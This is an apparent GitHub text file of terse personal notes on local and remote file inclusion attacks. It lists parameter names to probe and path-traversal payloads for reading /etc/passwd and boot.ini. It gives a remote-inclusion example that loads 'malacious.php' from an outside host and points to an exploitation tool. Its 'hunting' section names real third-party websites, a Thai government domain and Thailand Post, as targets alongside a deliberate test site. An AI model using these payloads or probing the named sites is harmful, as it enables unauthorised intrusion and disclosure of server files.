-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathFile-incusion.txt
101 lines (48 loc) · 1.86 KB
/
File-incusion.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
Imapct of File inclusion
a.code execution on server
b.code execution client side
c.dos attack
d.information disclosure
#=============================================================================================================
1.Local file inclusion
anyparameter=somelocalfile
example
any.com/index.php?referee=login.php
2.Remote File Inclusion
anyparmeter=remoteweb.com/file
example:
any.com/?share=http://facebook.com/status?id=12672
#==============================================================================================================
file, document, folder, root, path, pg, style, pdf, template, php_path, doc
dest, redirest, url, path, continue, url, window, next, data, reference, site, html, val, validate, domain,
callback, return, page, feed, host, port, to ,out, view, dir, show, navigation, open
#==============================================================================================================
--------------------------------------------
LFI Vs RFI
if target web server is reside on linux pltform
server path will be /var/www/html/trump.jpeg
any.com/index.php?file=trump.jpeg
system configuration file by going root directory (/.bashrc)
/etc/passwd
any.com/index.php?file=../../../etc/passwd
Remote file inclusion
any.com/index.php?file=http://remoteweb.com/trump.jpg
any.com/index.php?file=http://malacious.com/malacious.php
what if target we server will be windows based then
C:\boot.ini
../../C:\boot.ini
-----------------------------------------
LFI Hunting
target -
testphp.vulnweb.com
kanchanapisek.or.th
http://www.thailandpost.co.th
----------------------------------------
Exploitation of LFI
need 2 things
1.python 2.7
2.lfi suite
github ----> D35m0nd142/LFISuite
-----------------------------------------
RFI
find any parameter that will able to load content of any remote websites